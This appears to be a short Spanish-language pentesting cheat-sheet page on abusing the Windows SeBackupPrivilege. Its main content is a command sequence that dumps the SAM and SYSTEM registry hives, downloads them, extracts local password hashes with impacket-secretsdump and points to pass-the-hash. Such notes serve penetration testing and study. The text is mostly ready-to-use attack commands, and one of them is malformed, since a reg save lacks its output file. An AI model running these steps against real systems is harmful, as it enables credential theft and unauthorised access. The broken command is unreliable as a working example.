# SeBackupPrivilege

Es un privilegio que:

* Permite **omitir las restricciones de acceso** a archivos del sistema
* Diseñado para herramientas de backup
* Permite leer SAM, SYSTEM, etc.

```
# Ver privilegios
whoami /priv

# Extraer SAM y SYSTEM
reg save hklm\sam C:\Temp\sam.hive
reg save hklm\system C:\Temp\system.hive
```

```
# Desde PowerShell si accedemos vía RDP
cmd /c "reg save HKLM\SAM & reg save HKLM\SYSTEM SYSTEM"
```

<figure><img src="/files/OApXmCvSS0m9gNRMui3Z" alt=""><figcaption></figcaption></figure>

```
download sam.hive
download system.hive
```

<figure><img src="/files/sJAMdaSkz7PkcTafJmVC" alt=""><figcaption></figcaption></figure>

Ahora con secretsdump hacemos lo siguiente para conseguir los hashes.

```
impacket-secretsdump -sam sam.hive -system system.hive LOCAL
```

<figure><img src="/files/uTC3ICzcZknaWPxlJyD8" alt=""><figcaption></figcaption></figure>

Podemos hacer un Pass\_the\_Hash.

<figure><img src="/files/tli8qWlQILuMpF4Rmgai" alt=""><figcaption></figcaption></figure>


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